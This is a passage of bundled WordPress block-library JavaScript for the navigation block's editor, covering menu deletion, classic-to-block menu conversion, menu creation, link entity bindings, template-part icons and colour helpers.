30702 innerBlocksAreDirty,
30703 hasSelection
30704 ]);
30705 const Wrapper = isSaving ? external_wp_components_namespaceObject.Disabled : "div";
30706 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Wrapper, { ...innerBlocksProps });
30707}
30708
30709
30710;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/navigation-menu-delete-control.js
30711
30712
30713
30714
30715
30716
30717function NavigationMenuDeleteControl({ onDelete }) {
30718 const [isConfirmDialogVisible, setIsConfirmDialogVisible] = (0,external_wp_element_namespaceObject.useState)(false);
30719 const id = (0,external_wp_coreData_namespaceObject.useEntityId)("postType", "wp_navigation");
30720 const { deleteEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
30721 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30722 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30723 external_wp_components_namespaceObject.Button,
30724 {
30725 __next40pxDefaultSize: true,
30726 className: "wp-block-navigation-delete-menu-button",
30727 variant: "secondary",
30728 isDestructive: true,
30729 onClick: () => {
30730 setIsConfirmDialogVisible(true);
30731 },
30732 children: (0,external_wp_i18n_namespaceObject.__)("Delete menu")
30733 }
30734 ),
30735 isConfirmDialogVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30736 external_wp_components_namespaceObject.__experimentalConfirmDialog,
30737 {
30738 isOpen: true,
30739 onConfirm: () => {
30740 deleteEntityRecord("postType", "wp_navigation", id, {
30741 force: true
30742 });
30743 onDelete();
30744 },
30745 onCancel: () => {
30746 setIsConfirmDialogVisible(false);
30747 },
30748 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Delete"),
30749 size: "medium",
30750 children: (0,external_wp_i18n_namespaceObject.__)(
30751 "Are you sure you want to delete this Navigation Menu?"
30752 )
30753 }
30754 )
30755 ] });
30756}
30757
30758
30759;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/use-navigation-notice.js
30760
30761
30762
30763function useNavigationNotice({ name, message = "" } = {}) {
30764 const noticeRef = (0,external_wp_element_namespaceObject.useRef)();
30765 const { createWarningNotice, removeNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
30766 const showNotice = (0,external_wp_element_namespaceObject.useCallback)(
30767 (customMsg) => {
30768 if (noticeRef.current) {
30769 return;
30770 }
30771 noticeRef.current = name;
30772 createWarningNotice(customMsg || message, {
30773 id: noticeRef.current,
30774 type: "snackbar"
30775 });
30776 },
30777 [noticeRef, createWarningNotice, message, name]
30778 );
30779 const hideNotice = (0,external_wp_element_namespaceObject.useCallback)(() => {
30780 if (!noticeRef.current) {
30781 return;
30782 }
30783 removeNotice(noticeRef.current);
30784 noticeRef.current = null;
30785 }, [noticeRef, removeNotice]);
30786 return [showNotice, hideNotice];
30787}
30788var use_navigation_notice_default = useNavigationNotice;
30789
30790
30791;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/overlay-menu-preview.js
30792
30793
30794
30795
30796function OverlayMenuPreview({ setAttributes, hasIcon, icon }) {
30797 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30798 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30799 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
30800 {
30801 label: (0,external_wp_i18n_namespaceObject.__)("Show icon button"),
30802 isShownByDefault: true,
30803 hasValue: () => !hasIcon,
30804 onDeselect: () => setAttributes({ hasIcon: true }),
30805 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30806 external_wp_components_namespaceObject.ToggleControl,
30807 {
30808 __nextHasNoMarginBottom: true,
30809 label: (0,external_wp_i18n_namespaceObject.__)("Show icon button"),
30810 help: (0,external_wp_i18n_namespaceObject.__)(
30811 "Configure the visual appearance of the button that toggles the overlay menu."
30812 ),
30813 onChange: (value) => setAttributes({ hasIcon: value }),
30814 checked: hasIcon
30815 }
30816 )
30817 }
30818 ),
30819 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30820 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
30821 {
30822 label: (0,external_wp_i18n_namespaceObject.__)("Icon"),
30823 isShownByDefault: true,
30824 hasValue: () => icon !== "handle",
30825 onDeselect: () => setAttributes({ icon: "handle" }),
30826 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30827 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
30828 {
30829 __next40pxDefaultSize: true,
30830 __nextHasNoMarginBottom: true,
30831 className: "wp-block-navigation__overlay-menu-icon-toggle-group",
30832 label: (0,external_wp_i18n_namespaceObject.__)("Icon"),
30833 value: icon,
30834 onChange: (value) => setAttributes({ icon: value }),
30835 isBlock: true,
30836 children: [
30837 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30838 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
30839 {
30840 value: "handle",
30841 "aria-label": (0,external_wp_i18n_namespaceObject.__)("handle"),
30842 label: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OverlayMenuIcon, { icon: "handle" })
30843 }
30844 ),
30845 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30846 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
30847 {
30848 value: "menu",
30849 "aria-label": (0,external_wp_i18n_namespaceObject.__)("menu"),
30850 label: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OverlayMenuIcon, { icon: "menu" })
30851 }
30852 )
30853 ]
30854 }
30855 )
30856 }
30857 )
30858 ] });
30859}
30860
30861
30862;// ./node_modules/@wordpress/block-library/build-module/navigation-link/shared/use-entity-binding.js
30863
30864
30865
30866
30867function buildNavigationLinkEntityBinding(kind) {
30868 if (kind === void 0) {
30869 throw new Error(
30870 'buildNavigationLinkEntityBinding requires a kind parameter. Only "post-type" and "taxonomy" are supported.'
30871 );
30872 }
30873 if (kind !== "post-type" && kind !== "taxonomy") {
30874 throw new Error(
30875 `Invalid kind "${kind}" provided to buildNavigationLinkEntityBinding. Only 'post-type' and 'taxonomy' are supported.`
30876 );
30877 }
30878 const source = kind === "taxonomy" ? "core/term-data" : "core/post-data";
30879 return {
30880 url: {
30881 source,
30882 args: {
30883 field: "link"
30884 }
30885 }
30886 };
30887}
30888function useEntityBinding({ clientId, attributes }) {
30889 const { updateBlockBindings } = (0,external_wp_blockEditor_namespaceObject.useBlockBindingsUtils)(clientId);
30890 const { metadata, id, kind, type } = attributes;
30891 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
30892 const hasUrlBinding = !!metadata?.bindings?.url && !!id;
30893 const expectedSource = kind === "post-type" ? "core/post-data" : "core/term-data";
30894 const hasCorrectBinding = hasUrlBinding && metadata?.bindings?.url?.source === expectedSource;
30895 const isBoundEntityAvailable = (0,external_wp_data_namespaceObject.useSelect)(
30896 (select) => {
30897 if (!hasCorrectBinding || !id) {
30898 return false;
30899 }
30900 const isPostType = kind === "post-type";
30901 const isTaxonomy = kind === "taxonomy";
30902 if (!isPostType && !isTaxonomy) {
30903 return false;
30904 }
30905 if (blockEditingMode === "disabled") {
30906 return true;
30907 }
30908 const { getEntityRecord, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
30909 const entityType = isTaxonomy ? "taxonomy" : "postType";
30910 const typeForAPI = type === "tag" ? "post_tag" : type;
30911 const entityRecord = getEntityRecord(entityType, typeForAPI, id);
30912 const hasResolved = hasFinishedResolution("getEntityRecord", [
30913 entityType,
30914 typeForAPI,
30915 id
30916 ]);
30917 return hasResolved ? entityRecord !== void 0 : true;
30918 },
30919 [kind, type, id, hasCorrectBinding, blockEditingMode]
30920 );
30921 const clearBinding = (0,external_wp_element_namespaceObject.useCallback)(() => {
30922 if (hasUrlBinding) {
30923 updateBlockBindings({ url: void 0 });
30924 }
30925 }, [updateBlockBindings, hasUrlBinding, metadata, id]);
30926 const createBinding = (0,external_wp_element_namespaceObject.useCallback)(
30927 (updatedAttributes) => {
30928 const kindToUse = updatedAttributes?.kind ?? kind;
30929 if (!kindToUse) {
30930 return;
30931 }
30932 try {
30933 const binding = buildNavigationLinkEntityBinding(kindToUse);
30934 updateBlockBindings(binding);
30935 } catch (error) {
30936 console.warn(
30937 "Failed to create entity binding:",
30938 error.message
30939 );
30940 }
30941 },
30942 [updateBlockBindings, kind]
30943 );
30944 return {
30945 hasUrlBinding: hasCorrectBinding,
30946 isBoundEntityAvailable,
30947 clearBinding,
30948 createBinding
30949 };
30950}
30951
30952
30953;// ./node_modules/@wordpress/block-library/build-module/navigation/menu-items-to-blocks.js
30954
30955
30956
30957function menuItemsToBlocks(menuItems) {
30958 if (!menuItems) {
30959 return null;
30960 }
30961 const menuTree = createDataTree(menuItems);
30962 const blocks = mapMenuItemsToBlocks(menuTree);
30963 return (0,external_wp_hooks_namespaceObject.applyFilters)(
30964 "blocks.navigation.__unstableMenuItemsToBlocks",
30965 blocks,
30966 menuItems
30967 );
30968}
30969function mapMenuItemsToBlocks(menuItems, level = 0) {
30970 let mapping = {};
30971 const sortedItems = [...menuItems].sort(
30972 (a, b) => a.menu_order - b.menu_order
30973 );
30974 const innerBlocks = sortedItems.map((menuItem) => {
30975 if (menuItem.type === "block") {
30976 const [block2] = (0,external_wp_blocks_namespaceObject.parse)(menuItem.content.raw);
30977 if (!block2) {
30978 return (0,external_wp_blocks_namespaceObject.createBlock)("core/freeform", {
30979 content: menuItem.content
30980 });
30981 }
30982 return block2;
30983 }
30984 const blockType = menuItem.children?.length ? "core/navigation-submenu" : "core/navigation-link";
30985 const attributes = menuItemToBlockAttributes(
30986 menuItem,
30987 blockType,
30988 level
30989 );
30990 const {
30991 innerBlocks: nestedBlocks = [],
30992 // alias to avoid shadowing
30993 mapping: nestedMapping = {}
30994 // alias to avoid shadowing
30995 } = menuItem.children?.length ? mapMenuItemsToBlocks(menuItem.children, level + 1) : {};
30996 mapping = {
30997 ...mapping,
30998 ...nestedMapping
30999 };
31000 const block = (0,external_wp_blocks_namespaceObject.createBlock)(blockType, attributes, nestedBlocks);
31001 mapping[menuItem.id] = block.clientId;
31002 return block;
31003 });
31004 return {
31005 innerBlocks,
31006 mapping
31007 };
31008}
31009function menuItemToBlockAttributes({
31010 title: menuItemTitleField,
31011 xfn,
31012 classes,
31013 // eslint-disable-next-line camelcase
31014 attr_title,
31015 object,
31016 // eslint-disable-next-line camelcase
31017 object_id,
31018 description,
31019 url,
31020 type: menuItemTypeField,
31021 target
31022}, blockType, level) {
31023 if (object && object === "post_tag") {
31024 object = "tag";
31025 }
31026 const inferredKind = menuItemTypeField?.replace("_", "-") || "custom";
31027 return {
31028 label: menuItemTitleField?.rendered || "",
31029 ...object?.length && {
31030 type: object
31031 },
31032 kind: inferredKind,
31033 url: url || "",
31034 ...xfn?.length && xfn.join(" ").trim() && {
31035 rel: xfn.join(" ").trim()
31036 },
31037 ...classes?.length && classes.join(" ").trim() && {
31038 className: classes.join(" ").trim()
31039 },
31040 /* eslint-disable camelcase */
31041 ...attr_title?.length && {
31042 title: attr_title
31043 },
31044 ...object_id && (inferredKind === "post-type" || inferredKind === "taxonomy") && {
31045 id: object_id,
31046 metadata: {
31047 bindings: buildNavigationLinkEntityBinding(inferredKind)
31048 }
31049 },
31050 /* eslint-enable camelcase */
31051 ...description?.length && {
31052 description
31053 },
31054 ...target === "_blank" && {
31055 opensInNewTab: true
31056 },
31057 ...blockType === "core/navigation-submenu" && {
31058 isTopLevelItem: level === 0
31059 },
31060 ...blockType === "core/navigation-link" && {
31061 isTopLevelLink: level === 0
31062 }
31063 };
31064}
31065function createDataTree(dataset, id = "id", relation = "parent") {
31066 const hashTable = /* @__PURE__ */ Object.create(null);
31067 const dataTree = [];
31068 for (const data of dataset) {
31069 hashTable[data[id]] = {
31070 ...data,
31071 children: []
31072 };
31073 if (data[relation]) {
31074 hashTable[data[relation]] = hashTable[data[relation]] || {};
31075 hashTable[data[relation]].children = hashTable[data[relation]].children || [];
31076 hashTable[data[relation]].children.push(
31077 hashTable[data[id]]
31078 );
31079 } else {
31080 dataTree.push(hashTable[data[id]]);
31081 }
31082 }
31083 return dataTree;
31084}
31085
31086
31087;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/use-convert-classic-menu-to-block-menu.js
31088
31089
31090
31091
31092
31093const CLASSIC_MENU_CONVERSION_SUCCESS = "success";
31094const CLASSIC_MENU_CONVERSION_ERROR = "error";
31095const CLASSIC_MENU_CONVERSION_PENDING = "pending";
31096const CLASSIC_MENU_CONVERSION_IDLE = "idle";
31097let classicMenuBeingConvertedId = null;
31098function useConvertClassicToBlockMenu(createNavigationMenu, { throwOnError = false } = {}) {
31099 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
31100 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
31101 const [status, setStatus] = (0,external_wp_element_namespaceObject.useState)(CLASSIC_MENU_CONVERSION_IDLE);
31102 const [error, setError] = (0,external_wp_element_namespaceObject.useState)(null);
31103 const convertClassicMenuToBlockMenu = (0,external_wp_element_namespaceObject.useCallback)(
31104 async (menuId, menuName, postStatus = "publish") => {
31105 let navigationMenu;
31106 let classicMenuItems;
31107 try {
31108 classicMenuItems = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getMenuItems({
31109 menus: menuId,
31110 per_page: -1,
31111 context: "view"
31112 });
31113 } catch (err) {
31114 throw new Error(
31115 (0,external_wp_i18n_namespaceObject.sprintf)(
31116 // translators: %s: The name of a menu (e.g. Header menu).
31117 (0,external_wp_i18n_namespaceObject.__)(`Unable to fetch classic menu "%s" from API.`),
31118 menuName
31119 ),
31120 {
31121 cause: err
31122 }
31123 );
31124 }
31125 if (classicMenuItems === null) {
31126 throw new Error(
31127 (0,external_wp_i18n_namespaceObject.sprintf)(
31128 // translators: %s: The name of a menu (e.g. Header menu).
31129 (0,external_wp_i18n_namespaceObject.__)(`Unable to fetch classic menu "%s" from API.`),
31130 menuName
31131 )
31132 );
31133 }
31134 const { innerBlocks } = menuItemsToBlocks(classicMenuItems);
31135 try {
31136 navigationMenu = await createNavigationMenu(
31137 menuName,
31138 innerBlocks,
31139 postStatus
31140 );
31141 await editEntityRecord(
31142 "postType",
31143 "wp_navigation",
31144 navigationMenu.id,
31145 {
31146 status: "publish"
31147 },
31148 { throwOnError: true }
31149 );
31150 } catch (err) {
31151 throw new Error(
31152 (0,external_wp_i18n_namespaceObject.sprintf)(
31153 // translators: %s: The name of a menu (e.g. Header menu).
31154 (0,external_wp_i18n_namespaceObject.__)(`Unable to create Navigation Menu "%s".`),
31155 menuName
31156 ),
31157 {
31158 cause: err
31159 }
31160 );
31161 }
31162 return navigationMenu;
31163 },
31164 [createNavigationMenu, editEntityRecord, registry]
31165 );
31166 const convert = (0,external_wp_element_namespaceObject.useCallback)(
31167 async (menuId, menuName, postStatus) => {
31168 if (classicMenuBeingConvertedId === menuId) {
31169 return;
31170 }
31171 classicMenuBeingConvertedId = menuId;
31172 if (!menuId || !menuName) {
31173 setError("Unable to convert menu. Missing menu details.");
31174 setStatus(CLASSIC_MENU_CONVERSION_ERROR);
31175 return;
31176 }
31177 setStatus(CLASSIC_MENU_CONVERSION_PENDING);
31178 setError(null);
31179 return await convertClassicMenuToBlockMenu(
31180 menuId,
31181 menuName,
31182 postStatus
31183 ).then((navigationMenu) => {
31184 setStatus(CLASSIC_MENU_CONVERSION_SUCCESS);
31185 classicMenuBeingConvertedId = null;
31186 return navigationMenu;
31187 }).catch((err) => {
31188 setError(err?.message);
31189 setStatus(CLASSIC_MENU_CONVERSION_ERROR);
31190 classicMenuBeingConvertedId = null;
31191 if (throwOnError) {
31192 throw new Error(
31193 (0,external_wp_i18n_namespaceObject.sprintf)(
31194 // translators: %s: The name of a menu (e.g. Header menu).
31195 (0,external_wp_i18n_namespaceObject.__)(`Unable to create Navigation Menu "%s".`),
31196 menuName
31197 ),
31198 {
31199 cause: err
31200 }
31201 );
31202 }
31203 });
31204 },
31205 [convertClassicMenuToBlockMenu, throwOnError]
31206 );
31207 return {
31208 convert,
31209 status,
31210 error
31211 };
31212}
31213var use_convert_classic_menu_to_block_menu_default = useConvertClassicToBlockMenu;
31214
31215
31216;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/utils/create-template-part-id.js
31217function createTemplatePartId(theme, slug) {
31218 return theme && slug ? theme + "//" + slug : null;
31219}
31220
31221
31222;// ./node_modules/@wordpress/icons/build-module/library/header.js
31223
31224
31225var header_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
31226
31227
31228;// ./node_modules/@wordpress/icons/build-module/library/footer.js
31229
31230
31231var footer_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
31232 external_wp_primitives_namespaceObject.Path,
31233 {
31234 fillRule: "evenodd",
31235 d: "M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"
31236 }
31237) });
31238
31239
31240;// ./node_modules/@wordpress/icons/build-module/library/sidebar.js
31241
31242
31243var sidebar_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
31244
31245
31246;// ./node_modules/@wordpress/icons/build-module/library/symbol-filled.js
31247
31248
31249var symbol_filled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
31250
31251
31252;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/utils/get-template-part-icon.js
31253
31254const getTemplatePartIcon = (iconName) => {
31255 if ("header" === iconName) {
31256 return header_default;
31257 } else if ("footer" === iconName) {
31258 return footer_default;
31259 } else if ("sidebar" === iconName) {
31260 return sidebar_default;
31261 }
31262 return symbol_filled_default;
31263};
31264
31265
31266;// ./node_modules/@wordpress/block-library/build-module/navigation/use-template-part-area-label.js
31267
31268
31269
31270
31271
31272function useTemplatePartAreaLabel(clientId) {
31273 return (0,external_wp_data_namespaceObject.useSelect)(
31274 (select) => {
31275 if (!clientId) {
31276 return;
31277 }
31278 const { getBlock, getBlockParentsByBlockName } = select(external_wp_blockEditor_namespaceObject.store);
31279 const withAscendingResults = true;
31280 const parentTemplatePartClientIds = getBlockParentsByBlockName(
31281 clientId,
31282 "core/template-part",
31283 withAscendingResults
31284 );
31285 if (!parentTemplatePartClientIds?.length) {
31286 return;
31287 }
31288 const { getCurrentTheme, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
31289 const currentTheme = getCurrentTheme();
31290 const defaultTemplatePartAreas = currentTheme?.default_template_part_areas || [];
31291 const definedAreas = defaultTemplatePartAreas.map((item) => ({
31292 ...item,
31293 icon: getTemplatePartIcon(item.icon)
31294 }));
31295 for (const templatePartClientId of parentTemplatePartClientIds) {
31296 const templatePartBlock = getBlock(templatePartClientId);
31297 const { theme = currentTheme?.stylesheet, slug } = templatePartBlock.attributes;
31298 const templatePartEntityId = createTemplatePartId(
31299 theme,
31300 slug
31301 );
31302 const templatePartEntity = getEditedEntityRecord(
31303 "postType",
31304 "wp_template_part",
31305 templatePartEntityId
31306 );
31307 if (templatePartEntity?.area) {
31308 return definedAreas.find(
31309 (definedArea) => definedArea.area !== "uncategorized" && definedArea.area === templatePartEntity.area
31310 )?.label;
31311 }
31312 }
31313 },
31314 [clientId]
31315 );
31316}
31317
31318
31319;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/use-generate-default-navigation-title.js
31320
31321
31322
31323
31324
31325
31326const DRAFT_MENU_PARAMS = [
31327 "postType",
31328 "wp_navigation",
31329 { status: "draft", per_page: -1 }
31330];
31331const PUBLISHED_MENU_PARAMS = [
31332 "postType",
31333 "wp_navigation",
31334 { per_page: -1, status: "publish" }
31335];
31336function useGenerateDefaultNavigationTitle(clientId) {
31337 const isDisabled = (0,external_wp_element_namespaceObject.useContext)(external_wp_components_namespaceObject.Disabled.Context);
31338 const area = useTemplatePartAreaLabel(isDisabled ? void 0 : clientId);
31339 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
31340 return (0,external_wp_element_namespaceObject.useCallback)(async () => {
31341 if (isDisabled) {
31342 return "";
31343 }
31344 const { getEntityRecords } = registry.resolveSelect(external_wp_coreData_namespaceObject.store);
31345 const [draftNavigationMenus, navigationMenus] = await Promise.all([
31346 getEntityRecords(...DRAFT_MENU_PARAMS),
31347 getEntityRecords(...PUBLISHED_MENU_PARAMS)
31348 ]);
31349 const title = area ? (0,external_wp_i18n_namespaceObject.sprintf)(
31350 // translators: %s: the name of a menu (e.g. Header menu).
31351 (0,external_wp_i18n_namespaceObject.__)("%s menu"),
31352 area
31353 ) : (
31354 // translators: 'menu' as in website navigation menu.
31355 (0,external_wp_i18n_namespaceObject.__)("Menu")
31356 );
31357 const matchingMenuTitleCount = [
31358 ...draftNavigationMenus,
31359 ...navigationMenus
31360 ].reduce(
31361 (count, menu) => menu?.title?.raw?.startsWith(title) ? count + 1 : count,
31362 0
31363 );
31364 const titleWithCount = matchingMenuTitleCount > 0 ? `${title} ${matchingMenuTitleCount + 1}` : title;
31365 return titleWithCount || "";
31366 }, [isDisabled, area, registry]);
31367}
31368
31369
31370;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/use-create-navigation-menu.js
31371
31372
31373
31374
31375
31376const CREATE_NAVIGATION_MENU_SUCCESS = "success";
31377const CREATE_NAVIGATION_MENU_ERROR = "error";
31378const CREATE_NAVIGATION_MENU_PENDING = "pending";
31379const CREATE_NAVIGATION_MENU_IDLE = "idle";
31380function useCreateNavigationMenu(clientId) {
31381 const [status, setStatus] = (0,external_wp_element_namespaceObject.useState)(CREATE_NAVIGATION_MENU_IDLE);
31382 const [value, setValue] = (0,external_wp_element_namespaceObject.useState)(null);
31383 const [error, setError] = (0,external_wp_element_namespaceObject.useState)(null);
31384 const { saveEntityRecord, editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
31385 const generateDefaultTitle = useGenerateDefaultNavigationTitle(clientId);
31386 const create = (0,external_wp_element_namespaceObject.useCallback)(
31387 async (title = null, blocks = [], postStatus) => {
31388 if (title && typeof title !== "string") {
31389 setError(
31390 "Invalid title supplied when creating Navigation Menu."
31391 );
31392 setStatus(CREATE_NAVIGATION_MENU_ERROR);
31393 throw new Error(
31394 `Value of supplied title argument was not a string.`
31395 );
31396 }
31397 setStatus(CREATE_NAVIGATION_MENU_PENDING);
31398 setValue(null);
31399 setError(null);
31400 if (!title) {
31401 title = await generateDefaultTitle().catch((err) => {
31402 setError(err?.message);
31403 setStatus(CREATE_NAVIGATION_MENU_ERROR);
31404 throw new Error(
31405 "Failed to create title when saving new Navigation Menu.",
31406 {
31407 cause: err
31408 }
31409 );
31410 });
31411 }
31412 const record = {
31413 title,
31414 content: (0,external_wp_blocks_namespaceObject.serialize)(blocks),
31415 status: postStatus
31416 };
31417 return saveEntityRecord("postType", "wp_navigation", record).then((response) => {
31418 setValue(response);
31419 setStatus(CREATE_NAVIGATION_MENU_SUCCESS);
31420 if (postStatus !== "publish") {
31421 editEntityRecord(
31422 "postType",
31423 "wp_navigation",
31424 response.id,
31425 { status: "publish" }
31426 );
31427 }
31428 return response;
31429 }).catch((err) => {
31430 setError(err?.message);
31431 setStatus(CREATE_NAVIGATION_MENU_ERROR);
31432 throw new Error("Unable to save new Navigation Menu", {
31433 cause: err
31434 });
31435 });
31436 },
31437 [saveEntityRecord, editEntityRecord, generateDefaultTitle]
31438 );
31439 return {
31440 create,
31441 status,
31442 value,
31443 error,
31444 isIdle: status === CREATE_NAVIGATION_MENU_IDLE,
31445 isPending: status === CREATE_NAVIGATION_MENU_PENDING,
31446 isSuccess: status === CREATE_NAVIGATION_MENU_SUCCESS,
31447 isError: status === CREATE_NAVIGATION_MENU_ERROR
31448 };
31449}
31450
31451
31452;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/use-inner-blocks.js
31453
31454
31455const use_inner_blocks_EMPTY_ARRAY = [];
31456function useInnerBlocks(clientId) {
31457 return (0,external_wp_data_namespaceObject.useSelect)(
31458 (select) => {
31459 const { getBlock, getBlocks, hasSelectedInnerBlock } = select(external_wp_blockEditor_namespaceObject.store);
31460 const _uncontrolledInnerBlocks = getBlock(clientId).innerBlocks;
31461 const _hasUncontrolledInnerBlocks = !!_uncontrolledInnerBlocks?.length;
31462 const _controlledInnerBlocks = _hasUncontrolledInnerBlocks ? use_inner_blocks_EMPTY_ARRAY : getBlocks(clientId);
31463 return {
31464 innerBlocks: _hasUncontrolledInnerBlocks ? _uncontrolledInnerBlocks : _controlledInnerBlocks,
31465 hasUncontrolledInnerBlocks: _hasUncontrolledInnerBlocks,
31466 uncontrolledInnerBlocks: _uncontrolledInnerBlocks,
31467 controlledInnerBlocks: _controlledInnerBlocks,
31468 isInnerBlockSelected: hasSelectedInnerBlock(clientId, true)
31469 };
31470 },
31471 [clientId]
31472 );
31473}
31474
31475
31476;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/utils.js
31477
31478function getComputedStyle(node) {
31479 return node.ownerDocument.defaultView.getComputedStyle(node);
31480}
31481function detectColors(colorsDetectionElement, setColor, setBackground) {
31482 if (!colorsDetectionElement) {
31483 return;
31484 }
31485 setColor(getComputedStyle(colorsDetectionElement).color);
31486 let backgroundColorNode = colorsDetectionElement;
31487 let backgroundColor = getComputedStyle(backgroundColorNode).backgroundColor;
31488 while (backgroundColor === "rgba(0, 0, 0, 0)" && backgroundColorNode.parentNode && backgroundColorNode.parentNode.nodeType === backgroundColorNode.parentNode.ELEMENT_NODE) {
31489 backgroundColorNode = backgroundColorNode.parentNode;
31490 backgroundColor = getComputedStyle(backgroundColorNode).backgroundColor;
31491 }
31492 setBackground(backgroundColor);
31493}
31494function getColors(context, isSubMenu) {
31495 const {
31496 textColor,
31497 customTextColor,
31498 backgroundColor,
31499 customBackgroundColor,
31500 overlayTextColor,
31501 customOverlayTextColor,
31502 overlayBackgroundColor,
31503 customOverlayBackgroundColor,
31504 style
31505 } = context;
31506 const colors = {};
31507 if (isSubMenu && !!customOverlayTextColor) {
31508 colors.customTextColor = customOverlayTextColor;
31509 } else if (isSubMenu && !!overlayTextColor) {
31510 colors.textColor = overlayTextColor;
31511 } else if (!!customTextColor) {
31512 colors.customTextColor = customTextColor;
31513 } else if (!!textColor) {
31514 colors.textColor = textColor;
31515 } else if (!!style?.color?.text) {
31516 colors.customTextColor = style.color.text;
31517 }
31518 if (isSubMenu && !!customOverlayBackgroundColor) {
31519 colors.customBackgroundColor = customOverlayBackgroundColor;
31520 } else if (isSubMenu && !!overlayBackgroundColor) {
31521 colors.backgroundColor = overlayBackgroundColor;
31522 } else if (!!customBackgroundColor) {
31523 colors.customBackgroundColor = customBackgroundColor;
31524 } else if (!!backgroundColor) {
31525 colors.backgroundColor = backgroundColor;
31526 } else if (!!style?.color?.background) {
31527 colors.customTextColor = style.color.background;
31528 }
31529 return colors;
31530}
31531function getNavigationChildBlockProps(innerBlocksColors) {
31532 return {
31533 className: dist_clsx("wp-block-navigation__submenu-container", {
31534 "has-text-color": !!(innerBlocksColors.textColor || innerBlocksColors.customTextColor),
31535 [`has-${innerBlocksColors.textColor}-color`]: !!innerBlocksColors.textColor,
31536 "has-background": !!(innerBlocksColors.backgroundColor || innerBlocksColors.customBackgroundColor),
31537 [`has-${innerBlocksColors.backgroundColor}-background-color`]: !!innerBlocksColors.backgroundColor
31538 }),
